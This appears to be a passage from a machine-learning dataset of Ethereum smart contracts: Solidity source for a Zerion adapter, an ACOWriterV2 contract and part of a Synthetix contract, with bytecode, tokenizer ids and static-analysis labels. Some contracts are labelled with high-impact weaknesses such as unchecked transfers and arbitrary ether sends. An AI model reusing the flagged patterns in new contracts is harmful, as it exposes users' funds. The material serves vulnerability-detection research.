b505050506040513d601f19601f82011682018060405250810190611c2b9190612822565b6001600160a01b031614611ca75760405162461bcd60e51b815260206004820152602b60248201527f456e68616e636561626c653a20746f6b656e73206e6f74206f776e656420627960448201527f2073616d65206f776e6572000000000000000000000000000000000000000000606482015260840161060b565b80611cb181612a12565b915050611b90565b506001600160a01b0381163b15611dff57604051632833859760e11b81526001600160a01b038216906350670b2e90611cf89087908790600401612a2d565b6020604051808303816000875af1925050508015611d33575060408051601f3d908101601f19168201909252611d3091810190612aab565b60015b611de3573d808015611d61576040519150601f19603f3d011682016040523d82523d6000602084013e611d66565b606091505b508051611ddb5760405162461bcd60e51b815260206004820152603160248201527f456e68616e636561626c653a207472616e7366657220746f206e6f6e20456e6860448201527f616e63657220696d706c656d656e746572000000000000000000000000000000606482015260840161060b565b805181602001fd5b6001600160e01b031916632833859760e11b1491506105609050565b6001915050610560565b6060604051806060016040528060258152602001612b0e60259139905090565b606081611e4d5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611e775780611e6181612a12565b9150611e709050600a8361288a565b9150611e51565b60008167ffffffffffffffff811115611e9257611e92612542565b6040519080825280601f01601f191660200182016040528015611ebc576020820181803683370190505b5090505b8415611f2757611ed16001836128c0565b9150611ede600a86612938565b611ee9906030612ac8565b60f81b818381518110611efe57611efe61294c565b60200101906001600160f81b031916908160001a905350611f20600a8661288a565b9450611ec0565b949350505050565b6000610560825490565b600380546001600160a01b0319166001600160a01b03831690811790915560405133907fe6a0768bc7cc02a7502c4e06cdb639aca06180fd05c4e57dddea1b2d1b0e8c0b90600090a350565b600054610100900460ff16611ff05760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b606482015260840161060b565b611ff8612352565b612000612352565b612008612352565b565b61061e82826114c7565b60606000612023836002612855565b61202e906002612ac8565b67ffffffffffffffff81111561204657612046612542565b6040519080825280601f01601f191660200182016040528015612070576020820181803683370190505b509050600360fc1b8160008151811061208b5761208b61294c565b60200101906001600160f81b031916908160001a9053507f7800000000000000000000000000000000000000000000000000000000000000816001815181106120d6576120d661294c565b60200101906001600160f81b031916908160001a90535060006120fa846002612855565b612105906001612ac8565b90505b600181111561218a577f303132333435363738396162636465660000000000000000000000000000000085600f16601081106121465761214661294c565b1a60f81b82828151811061215c5761215c61294c565b60200101906001600160f81b031916908160001a90535060049490941c9361218381612ae0565b9050612108565b508315610da35760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161060b565b60008281526069602090815260408083206001600160a01b038516845290915290205460ff1661061e5760008281526069602090815260408083206001600160a01b03851684529091529020805460ff191660011790556122373390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000610da3836001600160a01b0384166123bd565b60008281526069602090815260408083206001600160a01b038516845290915290205460ff161561061e5760008281526069602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000610da3836001600160a01b038416612404565b600082600001828154811061233f5761233f61294c565b9060005260206000200154905092915050565b600054610100900460ff166120085760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b606482015260840161060b565b600081815260018301602052604081205461197b57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610560565b600081815260018301602052604081205480156124ed5760006124286001836128c0565b855490915060009061243c906001906128c0565b90508181146124a157600086600001828154811061245c5761245c61294c565b906000526020600020015490508087600001848154811061247f5761247f61294c565b6000918252602080832090910192909255918252600188019052604090208390555b85548690806124b2576124b2612af7565b600190038181906000526020600020016000905590558560010160008681526020019081526020016000206000905560019350505050610560565b6000915050610560565b6001600160e01b03198116811461250d57600080fd5b50565b60006020828403121561252257600080fd5b8135610da3816124f7565b6001600160a01b038116811461250d57600080fd5b634e487b7160e01b600052604160045260246000fd5b6000806000806080858703121561256e57600080fd5b84356125798161252d565b935060208501356125898161252d565b925060408501359150606085013567ffffffffffffffff808211156125ad57600080fd5b818701915087601f8301126125c157600080fd5b8135818111156125d3576125d3612542565b604051601f8201601f19908116603f011681019083821181831017156125fb576125fb612542565b816040528281528a602084870101111561261457600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b60006020828403121561264a57600080fd5b5035919050565b6000806040838503121561266457600080fd5b8235915060208301356126768161252d565b809150509250929050565b6000806040838503121561269457600080fd5b50508035926020909101359150565b600080602083850312156126b657600080fd5b823567ffffffffffffffff808211156126ce57600080fd5b818501915085601f8301126126e257600080fd5b8135818111156126f157600080fd5b8660208260051b850101111561270657600080fd5b60209290920196919550909350505050565b60005b8381101561273357818101518382015260200161271b565b83811115612742576000848401525b50505050565b6020815260008251806020840152612767816040850160208701612718565b601f01601f19169190910160400192915050565b60006020828403121561278d57600080fd5b8135610da38161252d565b600080604083850312156127ab57600080fd5b82356127b68161252d565b915060208301356126768161252d565b600080600080608085870312156127dc57600080fd5b84356127e78161252d565b935060208501356127f78161252d565b925060408501356128078161252d565b915060608501356128178161252d565b939692955090935050565b60006020828403121561283457600080fd5b8151610da38161252d565b634e487b7160e01b600052601160045260246000fd5b600081600019048311821515161561286f5761286f61283f565b500290565b634e487b7160e01b600052601260045260246000fd5b60008261289957612899612874565b500490565b6000602082840312156128b057600080fd5b81518015158114610da357600080fd5b6000828210156128d2576128d261283f565b500390565b6000602082840312156128e957600080fd5b5051919050565b600060ff821660ff84168082101561290a5761290a61283f565b90039392505050565b600060ff821660ff84168060ff038211156129305761293061283f565b019392505050565b60008261294757612947612874565b500690565b634e487b7160e01b600052603260045260246000fd5b60008351612974818460208801612718565b835190830190612988818360208801612718565b01949350505050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008152600083516129c9816017850160208801612718565b7f206973206d697373696e6720726f6c65200000000000000000000000000000006017918401918201528351612a06816028840160208801612718565b01602801949350505050565b6000600019821415612a2657612a2661283f565b5060010190565b604080825283519082018190526000906020906060840190828701845b82811015612a6657815184529284019290840190600101612a4a565b5050508381038285015284518082528583019183019060005b81811015612a9e57835160ff1683529284019291840191600101612a7f565b5090979650505050505050565b600060208284031215612abd57600080fd5b8151610da3816124f7565b60008219821115612adb57612adb61283f565b500190565b600081612aef57612aef61283f565b506000190190565b634e487b7160e01b600052603160045260246000fdfe68747470733a2f2f6170692e726169642e70617274792f6d657461646174612f6865726f2fa2646970667358221220041890a5f0b65d00dcc8b6b787d18b795373c86337207255cee378c85199879c64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 10354, 22932, 27421, 22275, 2050, 27531, 2629, 4783, 10354, 28311, 2063, 2683, 2549, 2094, 2692, 2575, 2050, 2581, 2475, 2063, 21619, 2487, 2063, 2620, 2475, 2094, 2581, 2487, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 3229, 1013, 3229, 8663, 13181, 7770, 17897, 16670, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 24264, 9468, 7971, 8663, 13181, 7770, 17897, 16670, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 3229, 8663, 13181, 7630, 26952, 13662, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 2358, 6820, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,847
0x977baa429b27fe86689274a6bf0dfcfc5d6f1c12
// Copyright (C) 2020 Zerion Inc. <https://zerion.io> // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity 0.6.5; pragma experimental ABIEncoderV2; interface ERC20 { function balanceOf(address) external view returns (uint256); } /** * @title Protocol adapter interface. * @dev adapterType(), tokenType(), and getBalance() functions MUST be implemented. * @author Igor Sobolev <sobolev@zerion.io> */ interface ProtocolAdapter { /** * @dev MUST return "Asset" or "Debt". * SHOULD be implemented by the public constant state variable. */ function adapterType() external pure returns (string memory); /** * @dev MUST return token type (default is "ERC20"). * SHOULD be implemented by the public constant state variable. */ function tokenType() external pure returns (string memory); /** * @dev MUST return amount of the given token locked on the protocol by the given account. */ function getBalance(address token, address account) external view returns (uint256); } /** * @title Asset adapter for Uniswap LP rewards. * @dev Implementation of ProtocolAdapter interface. * @author Igor Sobolev <sobolev@zerion.io> */ contract LPUniswapAssetAdapter is ProtocolAdapter { string public constant override adapterType = "Asset"; string public constant override tokenType = "Uniswap V1 pool token"; address internal constant LP_REWARD_UNISWAP = 0x48D7f315feDcaD332F68aafa017c7C158BC54760; /** * @return Amount of Uniswap pool tokens locked on the LP rewards contract. * @dev Implementation of ProtocolAdapter interface function. */ function getBalance(address, address account) external view override returns (uint256) { return ERC20(LP_REWARD_UNISWAP).balanceOf(account); } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806330fa738c14610046578063d4fac45d14610064578063f72c079114610084575b600080fd5b61004e61008c565b60405161005b91906101e8565b60405180910390f35b610077610072366004610188565b6100bd565b60405161005b919061023b565b61004e610150565b604051806040016040528060158152602001742ab734b9bbb0b8102b18903837b7b6103a37b5b2b760591b81525081565b6040516370a0823160e01b81526000907348d7f315fedcad332f68aafa017c7c158bc54760906370a08231906100f79085906004016101d4565b60206040518083038186803b15801561010f57600080fd5b505afa158015610123573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061014791906101bc565b90505b92915050565b60405180604001604052806005815260200164105cdcd95d60da1b81525081565b80356001600160a01b038116811461014a57600080fd5b6000806040838503121561019a578182fd5b6101a48484610171565b91506101b38460208501610171565b90509250929050565b6000602082840312156101cd578081fd5b5051919050565b6001600160a01b0391909116815260200190565b6000602080835283518082850152825b81811015610214578581018301518582016040015282016101f8565b818111156102255783604083870101525b50601f01601f1916929092016040019392505050565b9081526020019056fea26469706673582212209076005b0a7e7ea8a3eeacf7ac84a11d2c76fd56d66c0fe942b26c116d6d072364736f6c63430006050033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2581, 3676, 2050, 20958, 2683, 2497, 22907, 7959, 20842, 2575, 2620, 2683, 22907, 2549, 2050, 2575, 29292, 2692, 20952, 2278, 11329, 2629, 2094, 2575, 2546, 2487, 2278, 12521, 1013, 1013, 9385, 1006, 1039, 1007, 12609, 27838, 14772, 4297, 1012, 1026, 16770, 1024, 1013, 1013, 27838, 14772, 1012, 22834, 1028, 1013, 1013, 1013, 1013, 2023, 2565, 2003, 2489, 4007, 1024, 2017, 2064, 2417, 2923, 3089, 8569, 2618, 2009, 1998, 1013, 2030, 19933, 1013, 1013, 2009, 2104, 1996, 3408, 1997, 1996, 27004, 2236, 2270, 6105, 2004, 2405, 2011, 1013, 1013, 1996, 2489, 4007, 3192, 1010, 2593, 2544, 1017, 1997, 1996, 6105, 1010, 2030, 1013, 1013, 1006, 2012, 2115, 5724, 1007, 2151, 2101, 2544, 1012, 1013, 1013, 1013, 1013, 2023, 2565, 2003, 5500, 1999, 1996, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,848
0x977cE0D7F56197a0440A93fA9563E11C509baBBA
pragma solidity ^0.6.6; pragma experimental ABIEncoderV2; import "./IACOToken.sol"; import "./IWETH.sol"; import "./ACOAssetHelper.sol"; contract ACOWriterV2 { address immutable public weth; address immutable public zrxExchange; bool internal _notEntered; modifier nonReentrant() { require(_notEntered, "ACOWriter::Reentry"); _notEntered = false; _; _notEntered = true; } constructor(address _weth, address _zrxExchange) public { weth = _weth; zrxExchange = _zrxExchange; _notEntered = true; } receive() external payable { require(tx.origin != msg.sender, "ACOWriter:: Not allowed"); } function write( address acoToken, uint256 collateralAmount, bytes memory zrxExchangeData ) nonReentrant public payable { require(msg.value > 0, "ACOWriter::write: Invalid msg value"); require(collateralAmount > 0, "ACOWriter::write: Invalid collateral amount"); address _collateral = IACOToken(acoToken).collateral(); if (ACOAssetHelper._isEther(_collateral)) { IACOToken(acoToken).mintToPayable{value: collateralAmount}(msg.sender); } else { ACOAssetHelper._callTransferFromERC20(_collateral, msg.sender, address(this), collateralAmount); ACOAssetHelper._setAssetInfinityApprove(_collateral, address(this), acoToken, collateralAmount); IACOToken(acoToken).mintTo(msg.sender, collateralAmount); } _sellACOTokens(acoToken, zrxExchangeData); } function _sellACOTokens(address acoToken, bytes memory exchangeData) internal { uint256 acoBalance = ACOAssetHelper._getAssetBalanceOf(acoToken, address(this)); ACOAssetHelper._setAssetInfinityApprove(acoToken, address(this), zrxExchange, acoBalance); (bool success,) = zrxExchange.call{value: address(this).balance}(exchangeData); require(success, "ACOWriter::_sellACOTokens: Error on call the exchange"); address token = IACOToken(acoToken).strikeAsset(); if(ACOAssetHelper._isEther(token)) { uint256 wethBalance = ACOAssetHelper._getAssetBalanceOf(weth, address(this)); if (wethBalance > 0) { IWETH(weth).withdraw(wethBalance); } } else { uint256 remaining = ACOAssetHelper._getAssetBalanceOf(token, address(this)); if (remaining > 0) { ACOAssetHelper._callTransferERC20(token, msg.sender, remaining); } } if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } }
0x6080604052600436106100385760003560e01c80633fc8cef31461006d578063dd2a42fe14610098578063e038c449146100ab57610068565b3661006857323314156100665760405162461bcd60e51b815260040161005d90610c50565b60405180910390fd5b005b600080fd5b34801561007957600080fd5b506100826100c0565b60405161008f9190610bbf565b60405180910390f35b6100666100a6366004610aa4565b6100e4565b3480156100b757600080fd5b5061008261030d565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60005460ff166101065760405162461bcd60e51b815260040161005d90610c87565b6000805460ff191690553461012d5760405162461bcd60e51b815260040161005d90610d29565b6000821161014d5760405162461bcd60e51b815260040161005d90610d8e565b6000836001600160a01b031663d8dfeb456040518163ffffffff1660e01b815260040160206040518083038186803b15801561018857600080fd5b505afa15801561019c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101c09190610a88565b90506101cb81610331565b156102565760405163b0df1cc760e01b81526001600160a01b0385169063b0df1cc79085906101fe903390600401610bbf565b6020604051808303818588803b15801561021757600080fd5b505af115801561022b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906102509190610b6e565b506102f0565b6102628133308661033e565b61026e8130868661042f565b6040516308934a5f60e31b81526001600160a01b0385169063449a52f89061029c9033908790600401610bd3565b602060405180830381600087803b1580156102b657600080fd5b505af11580156102ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ee9190610b6e565b505b6102fa8483610454565b50506000805460ff191660011790555050565b7f000000000000000000000000def1c0ded9bec7f1a1670819833240f027b25eff81565b6001600160a01b03161590565b60006060856001600160a01b03166323b872dd86868660405160240161036693929190610c06565b6040516020818303038152906040529060e01b6020820180516001600160e01b03838183161783525050505060405161039f9190610b86565b6000604051808303816000865af19150503d80600081146103dc576040519150601f19603f3d011682016040523d82523d6000602084013e6103e1565b606091505b509150915081801561040b57508051158061040b57508080602001905181019061040b9190610b4e565b6104275760405162461bcd60e51b815260040161005d90610c2a565b505050505050565b8061043b8585856106c2565b101561044e5761044e84836000196107bb565b50505050565b600061046083306108a2565b905061048e83307f000000000000000000000000def1c0ded9bec7f1a1670819833240f027b25eff8461042f565b60007f000000000000000000000000def1c0ded9bec7f1a1670819833240f027b25eff6001600160a01b031647846040516104c99190610b86565b60006040518083038185875af1925050503d8060008114610506576040519150601f19603f3d011682016040523d82523d6000602084013e61050b565b606091505b505090508061052c5760405162461bcd60e51b815260040161005d90610cd4565b6000846001600160a01b03166317d69bc86040518163ffffffff1660e01b815260040160206040518083038186803b15801561056757600080fd5b505afa15801561057b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059f9190610a88565b90506105aa81610331565b156106685760006105db7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306108a2565b9050801561066257604051632e1a7d4d60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21690632e1a7d4d9061062f908490600401610e1f565b600060405180830381600087803b15801561064957600080fd5b505af115801561065d573d6000803e3d6000fd5b505050505b50610689565b600061067482306108a2565b90508015610687576106878233836109a1565b505b47156106bb5760405133904780156108fc02916000818181858888f19350505050158015610427573d6000803e3d6000fd5b5050505050565b60006106cd84610331565b156106da575060006107b4565b60006060856001600160a01b031663dd62ed3e8686604051602401610700929190610bec565b6040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040516107399190610b86565b600060405180830381855afa9150503d8060008114610774576040519150601f19603f3d011682016040523d82523d6000602084013e610779565b606091505b50915091508161079b5760405162461bcd60e51b815260040161005d90610dd9565b808060200190518101906107af9190610b6e565b925050505b9392505050565b60006060846001600160a01b031663095ea7b385856040516024016107e1929190610bd3565b6040516020818303038152906040529060e01b6020820180516001600160e01b03838183161783525050505060405161081a9190610b86565b6000604051808303816000865af19150503d8060008114610857576040519150601f19603f3d011682016040523d82523d6000602084013e61085c565b606091505b50915091508180156108865750805115806108865750808060200190518101906108869190610b4e565b6106bb5760405162461bcd60e51b815260040161005d90610cb3565b60006108ad83610331565b156108c357506001600160a01b0381163161099b565b60006060846001600160a01b03166370a08231856040516024016108e79190610bbf565b6040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040516109209190610b86565b600060405180830381855afa9150503d806000811461095b576040519150601f19603f3d011682016040523d82523d6000602084013e610960565b606091505b5091509150816109825760405162461bcd60e51b815260040161005d90610dfc565b808060200190518101906109969190610b6e565b925050505b92915050565b60006060846001600160a01b031663a9059cbb85856040516024016109c7929190610bd3565b6040516020818303038152906040529060e01b6020820180516001600160e01b038381831617835250505050604051610a009190610b86565b6000604051808303816000865af19150503d8060008114610a3d576040519150601f19603f3d011682016040523d82523d6000602084013e610a42565b606091505b5091509150818015610a6c575080511580610a6c575080806020019051810190610a6c9190610b4e565b6106bb5760405162461bcd60e51b815260040161005d90610d6c565b600060208284031215610a99578081fd5b81516107b481610e5b565b600080600060608486031215610ab8578182fd5b8335610ac381610e5b565b925060208401359150604084013567ffffffffffffffff80821115610ae6578283fd5b81860187601f820112610af7578384fd5b8035925081831115610b07578384fd5b610b1a601f8401601f1916602001610e28565b9150828252876020848301011115610b30578384fd5b610b41836020840160208401610e4f565b5080925050509250925092565b600060208284031215610b5f578081fd5b815180151581146107b4578182fd5b600060208284031215610b7f578081fd5b5051919050565b60008251815b81811015610ba65760208186018101518583015201610b8c565b81811115610bb45782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6020808252600c908201526b7472616e7366657246726f6d60a01b604082015260600190565b60208082526017908201527f41434f5772697465723a3a204e6f7420616c6c6f776564000000000000000000604082015260600190565b60208082526012908201527141434f5772697465723a3a5265656e74727960701b604082015260600190565b602080825260079082015266617070726f766560c81b604082015260600190565b60208082526035908201527f41434f5772697465723a3a5f73656c6c41434f546f6b656e733a204572726f72604082015274206f6e2063616c6c207468652065786368616e676560581b606082015260800190565b60208082526023908201527f41434f5772697465723a3a77726974653a20496e76616c6964206d73672076616040820152626c756560e81b606082015260800190565b6020808252600890820152673a3930b739b332b960c11b604082015260600190565b6020808252602b908201527f41434f5772697465723a3a77726974653a20496e76616c696420636f6c6c617460408201526a195c985b08185b5bdd5b9d60aa1b606082015260800190565b602080825260099082015268616c6c6f77616e636560b81b604082015260600190565b6020808252600990820152683130b630b731b2a7b360b91b604082015260600190565b90815260200190565b60405181810167ffffffffffffffff81118282101715610e4757600080fd5b604052919050565b82818337506000910152565b6001600160a01b0381168114610e7057600080fd5b5056fea2646970667358221220f8f2dbbdfecd954c6c2640b2c0879f6c49fc3a832322ac3ef3aa831845fc69ea64736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2581, 3401, 2692, 2094, 2581, 2546, 26976, 16147, 2581, 2050, 2692, 22932, 2692, 2050, 2683, 2509, 7011, 2683, 26976, 2509, 2063, 14526, 2278, 12376, 2683, 3676, 22414, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1012, 1013, 24264, 24310, 11045, 2078, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 1045, 8545, 2705, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 9353, 10441, 11393, 10760, 14277, 2121, 1012, 14017, 1000, 1025, 3206, 9353, 5004, 17625, 2099, 2615, 2475, 1063, 4769, 10047, 28120, 3085, 2270, 4954, 2232, 1025, 4769, 10047, 28120, 3085, 2270, 1062, 2099, 2595, 10288, 22305, 2063, 1025, 22017, 2140, 4722, 1035, 3602, 10111, 5596, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,849
0x977d0DD7eA212E9ca1dcD4Ec15cd7Ceb135fa68D
/* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: OneNetAggregatorDebtRatio.sol * * Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/OneNetAggregatorDebtRatio.sol * Docs: https://docs.synthetix.io/contracts/OneNetAggregatorDebtRatio * * Contract Dependencies: * - AggregatorV2V3Interface * - BaseOneNetAggregator * - IAddressResolver * - Owned * Libraries: * - SafeDecimalMath * - SafeMath * * MIT License * =========== * * Copyright (c) 2022 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.16; // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getSynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } // https://docs.synthetix.io/contracts/source/interfaces/isynth interface ISynth { // Views function currencyKey() external view returns (bytes32); function transferableSynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Synthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } // https://docs.synthetix.io/contracts/source/interfaces/iissuer interface IIssuer { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function canBurnSynths(address account) external view returns (bool); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function collateralisationRatioAndAnyRatesInvalid(address _issuer) external view returns (uint cratio, bool anyRateIsInvalid); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance); function issuanceRatio() external view returns (uint); function lastIssueEvent(address account) external view returns (uint); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function minimumStakeTime() external view returns (uint); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint); function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance) external view returns (uint transferable, bool anyRateIsInvalid); // Restricted: used internally to Synthetix function issueSynths(address from, uint amount) external; function issueSynthsOnBehalf( address issueFor, address from, uint amount ) external; function issueMaxSynths(address from) external; function issueMaxSynthsOnBehalf(address issueFor, address from) external; function burnSynths(address from, uint amount) external; function burnSynthsOnBehalf( address burnForAddress, address from, uint amount ) external; function burnSynthsToTarget(address from) external; function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external; function burnForRedemption( address deprecatedSynthProxy, address account, uint balance ) external; function liquidateDelinquentAccount( address account, uint susdAmount, address liquidator ) external returns (uint totalRedeemed, uint amountToLiquidate); function setCurrentPeriodId(uint128 periodId) external; } // Internal references // https://docs.synthetix.io/contracts/source/contracts/mixinresolver contract MixinResolver { AddressResolver public resolver; mapping(bytes32 => address) private addressCache; constructor(address _resolver) internal { resolver = AddressResolver(_resolver); } /* ========== INTERNAL FUNCTIONS ========== */ function combineArrays(bytes32[] memory first, bytes32[] memory second) internal pure returns (bytes32[] memory combination) { combination = new bytes32[](first.length + 